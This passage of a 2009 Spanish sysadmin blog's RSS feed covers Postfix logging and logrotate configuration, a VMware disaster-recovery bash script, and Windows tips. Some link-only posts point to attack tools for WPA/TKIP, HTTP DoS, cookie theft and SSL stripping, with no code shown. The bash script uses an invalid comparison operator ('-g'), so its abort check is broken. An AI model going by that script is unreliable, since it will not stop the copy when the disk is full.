isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4351948774202818761</guid><pubDate>Sat, 27 Jun 2009 08:00:00 +0000</pubDate><atom:updated>2009-06-27T10:01:11.591+02:00</atom:updated><title>postfix + logrotate</title><description>LOGUEANDO 2 INSTANCIAS DE POSTFIX EN 2 ARCHIVOS DIFERENTES:&lt;br /&gt;===========================================================&lt;br /&gt;&lt;br /&gt;/etc/postfix/main.cf :&lt;br /&gt;----------------------&lt;br /&gt;syslog_facility=local1&lt;br /&gt;syslog_name=postfix_smtpExtern&lt;br /&gt;&lt;br /&gt;/etc/postfix-out/main.cf :&lt;br /&gt;--------------------------&lt;br /&gt;syslog_facility=local2&lt;br /&gt;syslog_name=postfix_smtpIntern&lt;br /&gt;&lt;br /&gt;/etc/rsyslog.conf :&lt;br /&gt;-------------------&lt;br /&gt;# Log anything (except mail) of level info or higher.&lt;br /&gt;# Don't log private authentication messages!&lt;br /&gt;*.info;mail.none;authpriv.none;cron.none;local1.none;local2.none /var/log/messages&lt;br /&gt;(...)&lt;br /&gt;local2.* -/var/log/smtpdIntern.log&lt;br /&gt;local1.* -/var/log/smtpdExtern.log&lt;br /&gt;&lt;br /&gt;Reiniciar demonios:&lt;br /&gt;-------------------&lt;br /&gt;/etc/init.d/rsyslog restart&lt;br /&gt;/etc/init.d/postfix restart&lt;br /&gt;/etc/init.d/postfix-out restart&lt;br /&gt;&lt;br /&gt;*********************************************************************************&lt;br /&gt;&lt;br /&gt;ROTANDO LOS 2 ARCHIVOS DE LOG CON LOGROTATE:&lt;br /&gt;============================================&lt;br /&gt;&lt;br /&gt;/etc/logrotate.d/syslog (Postfix usa syslog):&lt;br /&gt;---------------------------------------------&lt;br /&gt;/var/log/smtpdIntern.log {&lt;br /&gt;sharedscripts&lt;br /&gt;missingok&lt;br /&gt;weekly&lt;br /&gt;compress&lt;br /&gt;# delaycompress&lt;br /&gt;create&lt;br /&gt;postrotate&lt;br /&gt;/etc/init.d/rsyslog restart&lt;br /&gt;/etc/init.d/postfix-out reload&lt;br /&gt;endscript&lt;br /&gt;rotate 12&lt;br /&gt;mail user@host.com&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/var/log/smtpdExtern.log {&lt;br /&gt;sharedscripts&lt;br /&gt;missingok&lt;br /&gt;weekly&lt;br /&gt;compress&lt;br /&gt;# delaycompress&lt;br /&gt;create&lt;br /&gt;weekly&lt;br /&gt;postrotate&lt;br /&gt;/etc/init.d/rsyslog restart&lt;br /&gt;/etc/init.d/postfix reload&lt;br /&gt;endscript&lt;br /&gt;rotate 12&lt;br /&gt;mail user@host.com&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;*********************************************************************************&lt;br /&gt;&lt;br /&gt;COMPROBACION FORZANDO ROTACIONES CON LOGROTATE:&lt;br /&gt;===============================================&lt;br /&gt;&lt;br /&gt;/usr/sbin/logrotate --force /etc/logrotate.d/syslog&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4351948774202818761?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/XSyIHkCgN64" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/XSyIHkCgN64/postfix-logrotate.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/postfix-logrotate.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-2344248691481073863</guid><pubDate>Wed, 24 Jun 2009 18:58:00 +0000</pubDate><atom:updated>2009-06-24T21:01:22.043+02:00</atom:updated><title>WPA + TKIP. Probando con tkiptun-ng</title><description>&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55867"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55867&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gracias a Vic_Thor por la info _de primera mano_, pues es muy dificil encontrar informacion sobre esta herramienta.&lt;br /&gt;&lt;br /&gt;Ah, salio la version 1.0 para win, aunque no la he probado.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2344248691481073863?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/HTwy79U66JQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/HTwy79U66JQ/wpa-tkip-probando-con-tkiptun-ng.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/wpa-tkip-probando-con-tkiptun-ng.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4254176827790233008</guid><pubDate>Wed, 24 Jun 2009 18:54:00 +0000</pubDate><atom:updated>2009-06-24T20:58:27.624+02:00</atom:updated><title>Slowloris - HTTP DoS</title><description>&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55898"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55898&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gracias Sor_Zitroen por la noticia!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4254176827790233008?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/oAQKtpadvL8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/oAQKtpadvL8/slowloris-http-dos.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/slowloris-http-dos.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-5592424073804202161</guid><pubDate>Tue, 23 Jun 2009 08:49:00 +0000</pubDate><atom:updated>2009-06-23T10:49:53.290+02:00</atom:updated><title>Jugando a robar cookies con surfjack</title><description>&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55853"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55853&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5592424073804202161?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/oxHR9LitY2A" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/oxHR9LitY2A/jugando-robar-cookies-con-surfjack.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/jugando-robar-cookies-con-surfjack.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-5698327714125230909</guid><pubDate>Mon, 22 Jun 2009 10:48:00 +0000</pubDate><atom:updated>2009-06-22T12:50:37.909+02:00</atom:updated><title>Jugando y burlando a SSL con SSLStrip</title><description>&lt;b&gt;&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55846"&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55846&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;PD Gracias al compañero Popolous por el post-it ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5698327714125230909?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/UiQ3gRix47w" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/UiQ3gRix47w/jugando-y-burlando-ssl-con-sslstrip.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/jugando-y-burlando-ssl-con-sslstrip.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8847377098576919174</guid><pubDate>Wed, 03 Jun 2009 16:35:00 +0000</pubDate><atom:updated>2009-06-03T18:38:34.404+02:00</atom:updated><title>VMWare disaster recovery</title><description>La idea es tener una tarea cron que copie las maquinas virtuales de un host fisico a otro host fisico VMWare.&lt;br /&gt;&lt;br /&gt;No se realiza escritura a disco, pues en VMWare es lo que mas penalizado se ve. Se comprime todo en un lado del tunel ssh, y por el otro lado se va descomprimiendo.&lt;br /&gt;&lt;br /&gt;Ahi va:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;#!/bin/bash&lt;br /&gt;#&lt;br /&gt;#Copia VMs de FISICA1 a FISICA2 para Disaster Recovery&lt;br /&gt;#&lt;br /&gt;#vlan7 / 13-5-09&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;ALERTA=80 #20% espacio libre&lt;br /&gt;ssh fisica2 df -HP |grep mapper | awk '{ print $5 " " $1 }' |awk '{ print $1}' | cut -d'%' -f1 &gt;/tmp/output&lt;br /&gt;uso=$(cat /tmp/output)&lt;br /&gt;&lt;br /&gt;if [ $uso -g $ALERTA ]; then&lt;br /&gt;  echo "$uso % de espacio utilizado a fisica2, abortando copia" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [ $uso -le $ALERTA ]; then&lt;br /&gt;  #host1&lt;br /&gt;  echo "Apagando la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd stop "[standard] host1/host1.vmx" soft&lt;br /&gt;  echo "Apagada la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  tar czvf - /var/lib/vmware/Virtual\ Machines/host1/ |ssh fisica2 "cd / ; tar xzvf -"&lt;br /&gt;  echo "Encendiendo la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd start "[standard] host1/host1.vmx"&lt;br /&gt;  echo "Encendida la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt; &lt;br /&gt;  #list all available VMs to log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd list &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;#enviando correo&lt;br /&gt;tail -100 /var/log/copiaVMsVMWare.log | mail -s "[script] copiaVMsVMWare.sh" user@host.com&lt;/b&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8847377098576919174?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/5P02iuvxV4A" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/5P02iuvxV4A/vmware-disaster-recovery.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/vmware-disaster-recovery.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8116508971273797468</guid><pubDate>Fri, 13 Mar 2009 16:29:00 +0000</pubDate><atom:updated>2009-03-13T17:31:38.583+01:00</atom:updated><title>Asistente agregar impresoras linea de comandos</title><description>&lt;font color="#FF0000"&gt;&lt;b&gt;RUNDLL32 PRINTUI.DLL,PrintUIEntry /il&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Mas ejemplos en &lt;a href="http://www.robvanderwoude.com/2kprintcontrol.php"&gt;http://www.robvanderwoude.com/2kprintcontrol.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A mi me fue util en una ocasion...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8116508971273797468?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/inRrv6zQ3NY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/inRrv6zQ3NY/asistente-agregar-impresoras-linea-de.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/03/asistente-agregar-impresoras-linea-de.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-6589863941969850011</guid><pubDate>Wed, 25 Feb 2009 18:09:00 +0000</pubDate><atom:updated>2009-02-25T19:16:42.865+01:00</atom:updated><title>Equipos wireless iniciar sesion en dominio</title><description>Si un equipo nunca ha iniciado sesion en un dominio, no tendra guardadas las credenciales en cache. Esto es un problema para equipos wifi que quieran iniciar sesion en el dominio de nuestra organizacion.&lt;br /&gt;&lt;br /&gt;Y aunque tengan guardadas las credenciales en cache, no se ejecutara en su maquina ningun logonscript.&lt;br /&gt;&lt;br /&gt;La solucion es cargar y activar la tarjeta wifi antes del inicio de sesion, antes de autenticarse.&lt;br /&gt;&lt;br /&gt;Yo me quedo con esta manera de hacerlo:&lt;br /&gt;&lt;br /&gt;1. Usar el servicio Windows Zero Configuration (Inicio de sesion wifi facil o algo asi se llama en castellano)&lt;br /&gt;&lt;br /&gt;2. regedit. HKLM \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ Winlogon&lt;br /&gt;Añadir valor DWORD GpNetworkStartTimeoutPolicyValue 3c (hexa) o 60 (dec)&lt;br /&gt;&lt;br /&gt;3. regedit. HKLM \ Software \ Policies \ Microsoft \ Windows \ System&lt;br /&gt;Añadir valor DWORD GroupPolicyMinTransferRate a 0.&lt;br /&gt;&lt;br /&gt;Y los clientes ya podran iniciar sesion como si estuvieran conectados a la red cableada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6589863941969850011?l=vlan7.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/_eiG6WxiY0Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/_eiG6WxiY0Y/equipos-wireless-iniciar-sesion-en.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/02/equipos-wireless-iniciar-sesion-en.html</feedburner:origLink></item></channel></rss>
